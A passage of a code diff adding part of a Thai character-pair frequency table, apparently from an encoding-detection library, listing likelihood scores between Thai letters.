'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 3, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 2, # 'ร' + 61: 2, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 1, # 'ศ' + 46: 1, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 3, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 2, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 2, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 16: { # 'ย' + 5: 3, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 2, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 3, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 3, # 'ี' + 40: 1, # 'ึ' + 27: 2, # 'ื' + 32: 2, # 'ุ' + 35: 3, # 'ู' + 11: 2, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 2, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 2, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 2: { # 'ร' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 2, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 3, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 3, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 3, # 'ถ' + 14: 3, # 'ท' + 48: 1, # 'ธ' + 3: 2, # 'น' + 17: 2, # 'บ' + 25: 3, # 'ป' + 39: 2, # 'ผ' + 62: 1, # 'ฝ' + 31: 2, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 2, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 1, # 'ฯ' + 22: 3, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 2, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 3, # 'ู' + 11: 3, # 'เ' + 28: 3, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 3, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 61: { # 'ฤ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 2, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 15: { # 'ล' + 5: 2, # 'ก' + 30: 3, # 'ข' + 24: 1, # 'ค' + 8: 3, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 3, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 3, # 'อ' + 63: 2, # 'ฯ' + 22: 3, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 2, # 'ึ' + 27: 3, # 'ื' + 32: 2, # 'ุ' + 35: 3, # 'ู' + 11: 2, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 2, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 12: { # 'ว' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 1, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 2, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 42: { # 'ศ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 1, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 2, # 'ว' + 42: 1, # 'ศ' + 46: 2, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 0, # 'ี' + 40: 3, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 2, # 'ู' + 11: 0, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 46: { # 'ษ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 2, # 'ฎ' + 57: 1, # 'ฏ' + 49: 2, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 3, # 'ณ' + 20: 0, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 18: { # 'ส' + 5: 2, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 2, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 3, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 2, # 'ภ' + 9: 3, # 'ม' + 16: 1, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 2, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 3, # 'ู' + 11: 2, # 'เ' + 28: 0, # 'แ' + 41: 1, # 'โ' + 29: 0, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 1, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 21: { # 'ห' + 5: 3, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 1, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 3, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 0, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 1, # 'ุ' + 35: 1, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 3, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 4: { # 'อ' + 5: 3, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 2, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 1, # '็' + 6: 2, # '่' + 7: 2, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 63: { # 'ฯ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 22: { # 'ะ' + 5: 3, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 1, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 3, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 1, # 'ธ' + 3: 2, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 1, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 10: { # 'ั' + 5: 3, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 3, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 3, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 2, # 'ฐ' + 53: 0, # 'ฑ' + 55: 3, # 'ฒ' + 43: 3, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 1: { # 'า' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 3, # 'ค' + 8: 3, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 3, # 'ช' + 51: 1, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 3, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 2, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 1, # 'ฝ' + 31: 3, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 3, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 3, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 36: { # 'ำ' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 3, # 'ค' + 8: 2, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 1, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 3, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 23: { # 'ิ' + 5: 3, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 3, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 3, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 3, # 'พ' + 54: 1, # 'ฟ' + 45: 2, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 3, # 'ศ' + 46: 2, # 'ษ' + 18: 2, # 'ส' + 21: 3, # 'ห' + 4: 1, # 'อ' + 63: 1, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 2, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 13: { # 'ี' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 3, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 2, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 